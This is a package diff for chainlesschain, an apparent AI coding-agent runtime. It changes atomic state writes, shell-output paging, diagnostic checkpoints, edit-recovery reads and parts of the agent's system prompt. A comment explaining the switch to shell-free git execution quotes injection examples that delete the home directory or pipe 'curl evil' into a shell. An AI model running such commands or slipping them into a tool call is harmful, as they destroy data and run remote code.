chainlesschain 0.166.56 → 0.166.59

package/src/lib/session-message-fabric.js

@@ -31,6 +31,31 @@ export const SESSION_MESSAGE_POLICIES = Object.freeze([
   "refuse",
 ]);
 
+// Windows can briefly retain a handle on a just-written state file while an
+// antivirus scanner, indexer, or another process observes it. Retrying the
+// atomic write is safe while this process still owns the state lock: no
+// business mutation is re-run, and no error after the final rename is retried.
+// Keep this deliberately short so genuine filesystem failures remain
+// fail-closed.
+const TRANSIENT_ATOMIC_WRITE_ERROR_CODES = new Set([
+  "EACCES",
+  "EBUSY",
+  "EPERM",
+]);
+const MAX_ATOMIC_WRITE_ATTEMPTS = 5;
+
+function waitForAtomicWriteRetry(attempt) {
+  const delayMs = Math.min(100, 5 * 2 ** attempt);
+  try {
+    Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, delayMs);
+  } catch {
+    const deadline = Date.now() + delayMs;
+    while (Date.now() < deadline) {
+      // SharedArrayBuffer is unavailable only in constrained runtimes.
+    }
+  }
+}
+
 export const SESSION_MESSAGE_RECEIPT_STATUSES = Object.freeze([
   "delivered",
   "held",
@@ -756,50 +781,62 @@ export class SessionMessageFabric {
 
   _writeState(state) {
     const directory = path.dirname(this.statePath);
-    const temporary = path.join(
-      directory,
-      `.${path.basename(this.statePath)}.${process.pid}.${this._createId()}.tmp`,
-    );
-    let descriptor = null;
-    try {
-      descriptor = fs.openSync(temporary, "wx", 0o600);
-      fs.writeFileSync(
-        descriptor,
-        `${JSON.stringify(state, null, 2)}\n`,
-        "utf8",
+    const serialized = `${JSON.stringify(state, null, 2)}\n`;
+    let lastCause;
+    for (let attempt = 0; attempt < MAX_ATOMIC_WRITE_ATTEMPTS; attempt += 1) {
+      const temporary = path.join(
+        directory,
+        `.${path.basename(this.statePath)}.${process.pid}.${this._createId()}.tmp`,
       );
-      fs.fsyncSync(descriptor);
-      fs.closeSync(descriptor);
-      descriptor = null;
-      fs.renameSync(temporary, this.statePath);
-      if (process.platform !== "win32") {
-        const directoryDescriptor = fs.openSync(directory, "r");
-        try {
-          fs.fsyncSync(directoryDescriptor);
-        } finally {
-          fs.closeSync(directoryDescriptor);
+      let descriptor = null;
+      let renamed = false;
+      try {
+        descriptor = fs.openSync(temporary, "wx", 0o600);
+        fs.writeFileSync(descriptor, serialized, "utf8");
+        fs.fsyncSync(descriptor);
+        fs.closeSync(descriptor);
+        descriptor = null;
+        fs.renameSync(temporary, this.statePath);
+        renamed = true;
+        if (process.platform !== "win32") {
+          const directoryDescriptor = fs.openSync(directory, "r");
+          try {
+            fs.fsyncSync(directoryDescriptor);
+          } finally {
+            fs.closeSync(directoryDescriptor);
+          }
+        }
+        return;
+      } catch (cause) {
+        lastCause = cause;
+        if (descriptor != null) {
+          try {
+            fs.closeSync(descriptor);
+          } catch {
+            // Preserve the original write failure.
+          }
         }
-      }
-    } catch (cause) {
-      if (descriptor != null) {
         try {
-          fs.closeSync(descriptor);
+          fs.unlinkSync(temporary);
         } catch {
-          // Preserve the original write failure.
+          // The rename may already have committed, or no temporary was created.
         }
+        if (
+          renamed ||
+          !TRANSIENT_ATOMIC_WRITE_ERROR_CODES.has(cause?.code) ||
+          attempt + 1 >= MAX_ATOMIC_WRITE_ATTEMPTS
+        ) {
+          break;
+        }
+        waitForAtomicWriteRetry(attempt);
       }
-      try {
-        fs.unlinkSync(temporary);
-      } catch {
-        // The rename may already have committed, or no temporary was created.
-      }
-      throw fabricError(
-        SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
-        "Could not atomically persist session message state",
-        {},
-        cause,
-      );
     }
+    throw fabricError(
+      SESSION_MESSAGE_FABRIC_ERROR_CODES.STATE_UNAVAILABLE,
+      "Could not atomically persist session message state",
+      {},
+      lastCause,
+    );
   }
 
   _transaction(mutator, { expectedRevision = null } = {}) {

package/src/lib/shell-output.js

@@ -0,0 +1,30 @@
+import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
+
+/** Page size includes JSON escaping so later serialization does not lose data. */
+export function shellOutputPage(value, budget) {
+  const text = String(value ?? "");
+  let low = 0;
+  let high = Math.min(text.length, budget);
+  while (low < high) {
+    const mid = Math.ceil((low + high) / 2);
+    if (JSON.stringify(text.slice(0, mid)).length <= budget) low = mid;
+    else high = mid - 1;
+  }
+  if (low > 0 && /[\uD800-\uDBFF]/.test(text[low - 1])) low--;
+  return { text: text.slice(0, low), remaining: text.length - low };
+}
+
+/** Foreground commands cannot be repolled; expose omitted diagnostic context. */
+export function shellOutputPreview(value, field, budget) {
+  const text = String(value ?? "");
+  const page = shellOutputPage(text, budget);
+  if (!page.remaining) return { [field]: page.text };
+  return {
+    [`${field}_truncated`]: true,
+    [`${field}_total_chars`]: text.length,
+    [`${field}_diagnostics`]: diagnosticExcerpt(text),
+    [field]: page.text,
+    output_hint:
+      "Output is incomplete. Diagnostic excerpts are source evidence, not a root-cause verdict. For long reproductions use run_in_background and drain check_shell with task_id; preserve a full CI log once before filtering it.",
+  };
+}

package/src/lib/task-progress-tracker.js

@@ -1,5 +1,7 @@
 import { createHash } from "node:crypto";
 import { remoteReadTarget } from "./remote-read-loop-guard.js";
+import { diagnosticExcerpt } from "./diagnostic-excerpt.js";
+import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "./diagnostic-workflow.js";
 
 // Discovery and bookkeeping are useful, but are not evidence that the task
 // advanced. In particular, dispatching a child must not buy a fresh budget.
@@ -82,6 +84,7 @@ export class TaskProgressTracker {
     this.lastActions = [];
     this.remoteInspections = [];
     this.localFindings = [];
+    this.diagnostics = [];
   }
 
   retainChildResult(id, result, owner = "root") {
@@ -121,6 +124,82 @@ export class TaskProgressTracker {
         typeof args.old_string === "string" &&
         args.old_string === args.new_string);
 
+    // Preserve observed reproduction results through compaction, including
+    // failed runs and completed background tasks. They do not establish that
+    // the original CI failure was reproduced or fixed.
+    if (
+      ["run_shell", "run_code", "check_shell"].includes(tool) &&
+      result?.code !== "CC_TOOL_RECOVERY_PAUSED" &&
+      !(tool === "check_shell" && !args.task_id)
+    ) {
+      const taskId = result?.task_id || args.task_id || null;
+      const previous =
+        taskId &&
+        this.diagnostics.find(
+          (entry) => entry.owner === owner && entry.taskId === taskId,
+        );
+      const output = [
+        result?.stdout_diagnostics,
+        result?.stderr_diagnostics,
+        result?.error,
+        result?.output,
+        result?.stdout,
+        result?.stderr,
+      ]
+        .filter(Boolean)
+        .join("\n");
+      if (output || taskId || Number.isInteger(result?.exitCode)) {
+        const command = args.command || result?.command || args.code || "";
+        const remoteTarget = remoteReadTarget(tool, args);
+        const entry = {
+          owner,
+          tool,
+          taskId,
+          observedAt: this.now(),
+          remoteTarget: remoteTarget?.key || previous?.remoteTarget || null,
+          source:
+            previous?.source ||
+            (remoteTarget?.github || isRemoteInspectionCommand(command)
+              ? "remote-inspection"
+              : "local-execution"),
+          invocation: boundedText(command || previous?.invocation, 1000),
+          invocationTruncated: command
+            ? command.length > 1000
+            : previous?.invocationTruncated || false,
+          exitCode: result?.exitCode ?? result?.exit_code ?? null,
+          status:
+            result?.status ||
+            (result?.background ? "running" : failed ? "failed" : "completed"),
+          outputLost:
+            previous?.outputLost === true ||
+            !!result?.stdout_dropped_bytes ||
+            !!result?.stderr_dropped_bytes,
+          outputIncomplete:
+            previous?.outputLost === true ||
+            result?.has_more_output === true ||
+            result?.stdout_truncated === true ||
+            result?.stderr_truncated === true ||
+            result?.truncated === true ||
+            !!result?.stdout_dropped_bytes ||
+            !!result?.stderr_dropped_bytes,
+          output: diagnosticExcerpt(
+            [previous?.output, output].filter(Boolean).join("\n"),
+            1200,
+          ),
+        };
+        const owned = [
+          ...this.diagnostics.filter(
+            (item) => item.owner === owner && item !== previous,
+          ),
+          entry,
+        ].slice(-4);
+        this.diagnostics = [
+          ...this.diagnostics.filter((item) => item.owner !== owner),
+          ...owned,
+        ].slice(-MAX_CHECKPOINT_OWNERS * 4);
+      }
+    }
+
     if (!failed && (tool === "search_files" || tool === "read_file")) {
       const evidence = result.content ?? result.matches ?? result.output;
       const excerpt = boundedText(
@@ -252,6 +331,8 @@ export class TaskProgressTracker {
         message +
         " For an implementation task, make the smallest justified, authorized change and validate it. " +
         "For a bug fix, state the observed failure, your leading root-cause hypothesis and the smallest test that can disprove it. Run that focused reproduction or diagnostic next; use its actual output to choose the next step. Do not keep reading adjacent files without naming the specific missing fact. A timeout alone does not establish that increasing the timeout is the fix. " +
+        DIAGNOSTIC_WORKFLOW_GUIDANCE +
+        " " +
         "For research/review, synthesize evidence-backed findings; do not write files merely to clear this warning. " +
         "If evidence is insufficient, name the exact missing fact and use a focused search or bounded computation. " +
         "Do not restart general investigation, rewrite the plan, or delegate the same research. " +
@@ -268,11 +349,15 @@ export class TaskProgressTracker {
       !this.childFindings.size &&
       !this.lastActions.length &&
       !this.remoteInspections.length &&
+      !this.diagnostics.length &&
       !this.localFindings.length
     )
       return null;
     const checkpoint = {
       bounded: true,
+      recentDiagnostics: this.diagnostics
+        .filter((entry) => entry.owner === owner)
+        .map(({ owner: _owner, ...entry }) => entry),
       recentLocalFindings: this.localFindings
         .filter((entry) => entry.owner === owner)
         .map(({ owner: _owner, ...entry }) => entry),
@@ -300,6 +385,7 @@ export class TaskProgressTracker {
       !checkpoint.recentLocalFindings.length &&
       !checkpoint.recentToolOutcomes.length &&
       !checkpoint.recentRemoteInspections.length &&
+      !checkpoint.recentDiagnostics.length &&
       !checkpoint.reportedPlans.length &&
       !checkpoint.childFindings.length
     )
@@ -312,6 +398,8 @@ export class TaskProgressTracker {
         checkpoint.recentLocalFindings.shift();
       else if (checkpoint.recentRemoteInspections.length)
         checkpoint.recentRemoteInspections.shift();
+      else if (checkpoint.recentDiagnostics.length)
+        checkpoint.recentDiagnostics.shift();
       else if (checkpoint.recentToolOutcomes.length)
         checkpoint.recentToolOutcomes.shift();
       else checkpoint.reportedPlans.pop();

package/src/runtime/agent-core.js

@@ -21,6 +21,9 @@ import {
   buildReadFileOutline,
 } from "../lib/read-file-page.js";
 import { ReadFileLoopGuard } from "../lib/read-file-loop-guard.js";
+import { gitToolInputError } from "../lib/git-tool-input.js";
+import { shellOutputPage, shellOutputPreview } from "../lib/shell-output.js";
+import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "../lib/diagnostic-workflow.js";
 import { RemoteReadLoopGuard } from "../lib/remote-read-loop-guard.js";
 import {
   isPrActionRequest,
@@ -450,10 +453,10 @@ function _appendBgStream(stream, text) {
   }
 }
 
-// Read everything produced since the last read and advance the cursor. When the
-// cursor points into a region already dropped from the retained tail, the gap
-// is reported so the caller knows output was lost to the buffer cap.
-function _readBgStream(stream) {
+// Read one bounded page and advance only past returned text. When the cursor
+// points into a region already dropped from the retained tail, report that gap
+// separately; unread retained text remains available on the next poll.
+function _readBgStream(stream, budget) {
   const bufStart = stream.total - stream.buf.length;
   let from = stream.cursor;
   let droppedGap = 0;
@@ -461,9 +464,9 @@ function _readBgStream(stream) {
     droppedGap = bufStart - from;
     from = bufStart;
   }
-  const text = stream.buf.slice(from - bufStart);
-  stream.cursor = stream.total;
-  return { text, droppedGap };
+  const page = shellOutputPage(stream.buf.slice(from - bufStart), budget);
+  stream.cursor = from + page.text.length;
+  return { ...page, droppedGap };
 }
 
 /**
@@ -1114,11 +1117,12 @@ export function getBaseSystemPrompt(cwd) {
 You have access to tools that let you read files, write files, edit files, run shell commands, and search the codebase. When the user asks you to do something, USE THE TOOLS to actually do it — don't just describe what should be done.
 
 Key behaviors:
+- A new user message may arrive before the previous task finishes. Incorporate corrections and added requests while preserving unfinished authorized work, unless the user cancels or replaces it. Use the completed tool results already in history; do not restart the investigation.
 - When asked to modify code, read the file first, then edit it
 - When asked to create something, use write_file to create it
 - When asked to remove or rename a file, use delete_file or move_file so the filesystem intent is explicit and reviewable
 - When asked to run/test something, use run_shell to execute it
-- For a bug fix, retain the failing test/file and exact error, inspect the relevant code, then state a root-cause hypothesis and run the smallest reproduction or diagnostic that can disprove it. Base the next step on actual output. Do not repeatedly read adjacent files without identifying a specific missing fact. Validate the fix with the failing case and report what remains unverified.
+- ${DIAGNOSTIC_WORKFLOW_GUIDANCE}
 - For CI log retrieval, inspect command stderr before retrying. Match syntax to the actual shell: Windows PowerShell 5 does not support &&, cmd treats single quotes literally, and head is not a Windows builtin. Prefer a plain gh metadata/log command without jq or pipelines first, then inspect the saved output. Never switch shells to bypass a policy denial.
 - For long-running commands (builds, full test suites, dev servers) set run_shell { run_in_background: true } to get a task_id back immediately, then poll output and completion with check_shell { task_id }. Kill a backgrounded server with check_shell { task_id, kill: true } when finished
 - When asked about git status, diff, log, or other repository operations, use the git tool instead of run_shell
@@ -5676,10 +5680,30 @@ async function executeToolInner(
           result.error === "ambiguous_anchor" && result.matches?.[0]
             ? snippetAround(original, result.matches[0].lineNumber - 1)
             : null;
+        const expectedContent = result.current ?? args.expected_line;
+        const expectedIndex =
+          typeof expectedContent === "string"
+            ? original
+                .split(/\r?\n/)
+                .findIndex((line) => line.trim() === expectedContent.trim())
+            : -1;
+        const recoveryRead = ["hash_mismatch", "content_mismatch"].includes(
+          result.error,
+        )
+          ? {
+              path: filePath,
+              hashed: true,
+              offset: Math.max(1, expectedIndex - 3 + 1),
+              limit: 80,
+            }
+          : null;
         return attachDescriptor({
           error: result.error,
           message: result.message,
-          hint: result.hint,
+          hint: recoveryRead
+            ? "Call read_file with the exact recoveryRead arguments (hashed:true) to refresh the anchors, then retry the edit using the returned hash. This bounded refresh is available once during loop recovery; do not restart broad reading."
+            : result.hint,
+          ...(recoveryRead && { recoveryRead }),
           ...(result.matches && { matches: result.matches }),
           ...(result.current && { current: result.current }),
           ...(result.expected && { expected: result.expected }),
@@ -6688,8 +6712,8 @@ async function executeToolInner(
                 result.stderr ||
                 `Sandbox command exited with code ${result.exitCode}`
               ).substring(0, 2000),
-              stdout: result.stdout.substring(0, 30000),
-              stderr: result.stderr.substring(0, 2000),
+              ...shellOutputPreview(result.stdout, "stdout", 16000),
+              ...shellOutputPreview(result.stderr, "stderr", 4000),
               exitCode: result.exitCode,
               ...common,
             },
@@ -6697,7 +6721,11 @@ async function executeToolInner(
           );
         }
         return attachDescriptor(
-          { stdout: result.stdout.substring(0, 30000), ...common },
+          {
+            exitCode: 0,
+            ...shellOutputPreview(result.stdout, "stdout", 24000),
+            ...common,
+          },
           override || runtimeDescriptor,
         );
       }
@@ -6829,7 +6857,8 @@ async function executeToolInner(
         }
         return attachDescriptor(
           {
-            stdout: output.substring(0, 30000),
+            ...shellOutputPreview(output, "stdout", 24000),
+            exitCode: 0,
             ...shellMeta,
             ...pluginBinResult,
             shellCommandPolicy: shellPolicy,
@@ -6847,9 +6876,9 @@ async function executeToolInner(
             // actual failure. Only attach it when there IS output (a timeout with
             // no output keeps the field absent), mirroring the success path.
             ...(err.stdout
-              ? { stdout: String(err.stdout).substring(0, 30000) }
+              ? shellOutputPreview(err.stdout, "stdout", 16000)
               : {}),
-            stderr: (err.stderr || "").substring(0, 2000),
+            ...shellOutputPreview(err.stderr, "stderr", 4000),
             exitCode: err.status,
             ...(typeof err.code === "string" && err.code
               ? {
@@ -6876,6 +6905,7 @@ async function executeToolInner(
       if (!taskId) {
         return attachDescriptor({
           tasks: listBackgroundShellTasks(),
+          hint: "This is a task list, not process output. Call check_shell with the task_id to read stdout, stderr and exitCode; continue while has_more_output is true even after the process exits.",
         });
       }
       const task = _backgroundShellTasks.get(taskId);
@@ -6891,8 +6921,17 @@ async function executeToolInner(
         // handler flips status. Best-effort.
         killed = _killTask(task);
       }
-      const out = _readBgStream(task.out);
-      const err = _readBgStream(task.err);
+      const outputBudget = Math.min(
+        16000,
+        Math.floor((MAX_TOOL_RESULT_CHARS - 8192) / 2),
+      );
+      if (outputBudget < 64)
+        return attachDescriptor({
+          error:
+            "Tool output limit is too small to return a background output page. Output was not consumed.",
+        });
+      const out = _readBgStream(task.out, outputBudget);
+      const err = _readBgStream(task.err, outputBudget);
       return attachDescriptor({
         task_id: task.id,
         status: task.status,
@@ -6901,8 +6940,15 @@ async function executeToolInner(
         exitCode: task.exitCode,
         signal: task.signal,
         ...(task.error ? { error: task.error } : {}),
-        stdout: out.text.substring(0, 30000),
-        stderr: err.text.substring(0, 30000),
+        stdout: out.text,
+        stderr: err.text,
+        has_more_output: out.remaining > 0 || err.remaining > 0,
+        ...(out.remaining || err.remaining
+          ? {
+              next_check: { task_id: task.id },
+              hint: "More retained output is unread. Call check_shell with next_check even if status is exited or failed; process exit does not mean all output has been read.",
+            }
+          : {}),
         ...(out.droppedGap ? { stdout_dropped_bytes: out.droppedGap } : {}),
         ...(err.droppedGap ? { stderr_dropped_bytes: err.droppedGap } : {}),
         ...(killed ? { killed: true } : {}),
@@ -6919,6 +6965,9 @@ async function executeToolInner(
         });
       }
 
+      const inputError = gitToolInputError(normalizedCommand);
+      if (inputError) return attachDescriptor(inputError);
+
       // Run via argv (spawnSync, NO shell) so shell metacharacters in the
       // command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
       // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
@@ -6965,6 +7014,7 @@ async function executeToolInner(
       }
       return attachDescriptor({
         stdout: String(res.stdout || "").substring(0, 30000),
+        exitCode: 0,
         command: normalizedCommand,
         readOnly,
       });
@@ -14282,6 +14332,17 @@ export async function* agentLoop(messages, options) {
   let lastTaskProgressIntervention = null;
 
   while (budget.hasRemaining()) {
+    // Yield only between complete tool batches. Keep all completed tool results
+    // and settle child usage before the host accepts queued user steering.
+    if (options.shouldYieldToUser?.() === true) {
+      await _awaitBackgroundUsageSettlement(
+        backgroundSubAgents,
+        backgroundUsageFailureState,
+      );
+      yield* _drainSubAgentUsage(subAgentUsageSink);
+      yield { type: "run-ended", runId, reason: "user-input-pending" };
+      return;
+    }
     readFileLoopGuard.finishBatch();
     if (remoteReadLoopGuard.stalled) {
       await _awaitBackgroundUsageSettlement(
@@ -14295,7 +14356,7 @@ export async function* agentLoop(messages, options) {
       error.code = "CC_AGENT_REPEATED_REMOTE_READ";
       throw error;
     }
-    if (readFileLoopGuard.stalled) {
+    if (readFileLoopGuard.stalled && !readFileLoopGuard.hasEditRecoveryReads) {
       await _awaitBackgroundUsageSettlement(
         backgroundSubAgents,
         backgroundUsageFailureState,
@@ -14429,6 +14490,7 @@ export async function* agentLoop(messages, options) {
       try {
         const compactor = await _getAutoCompactor(options);
         if (compactor && compactor.shouldAutoCompact(messages)) {
+          options.onBeforeCompaction?.();
           compactionUsageState = _autoCompactionUsageState(options);
           compactionUsageState.calls = [];
           compactionUsageState.callSequence = budget.consumed;
@@ -14906,7 +14968,9 @@ export async function* agentLoop(messages, options) {
       };
     }
     const pausedTools = new Set([
-      ...(readRecoveryTurn ? ["read_file"] : []),
+      ...(readRecoveryTurn && !readFileLoopGuard.hasEditRecoveryReads
+        ? ["read_file"]
+        : []),
       ...(taskRecoveryTurn ? taskRecoveryTools : []),
       ...remoteRecoveryTools,
       ...(prInvestigationExhausted
@@ -14927,6 +14991,7 @@ export async function* agentLoop(messages, options) {
         }
       : effectiveToolOptions;
     const readContext = [
+      options.getTaskWorklogContext?.(),
       readFileLoopGuard.findingsHint,
       readFileLoopGuard.progressHint,
       remoteReadLoopGuard.findingsHint,
@@ -15793,8 +15858,16 @@ export async function* agentLoop(messages, options) {
       // Capability and exact-path authority must settle before any checkpoint,
       // hook, or observationally stronger `tool-executing` event. The same
       // preflight runs again inside executeTool to prevent call-site drift.
+      const editRecoveryRead =
+        toolName === "read_file" &&
+        typeof toolArgs?.path === "string" &&
+        readFileLoopGuard.canRecoverEdit(
+          path.resolve(toolContext.cwd || process.cwd(), toolArgs.path),
+          toolArgs,
+        );
       const earlyAuthorityDenial =
-        (pausedTools.has(toolName) ||
+        ((pausedTools.has(toolName) && !editRecoveryRead) ||
+        (readRecoveryTurn && toolName === "read_file" && !editRecoveryRead) ||
         remoteReadLoopGuard.shouldPause(toolName, toolArgs) ||
         (taskRecoveryTurn &&
           toolName === "read_file" &&
@@ -16170,6 +16243,8 @@ export async function* agentLoop(messages, options) {
         const resultStr = toolResultForModel(toolName, toolResult, messages);
         remoteReadLoopGuard.record(toolName, toolResult, toolArgs);
         explicitPrCloseActionGuard.record(toolName, toolArgs, toolResult);
+        if (toolName === "edit_file_hashed")
+          readFileLoopGuard.recordEditRecovery(toolResult);
         readFileLoopGuard.record(
           toolName,
           toolResult,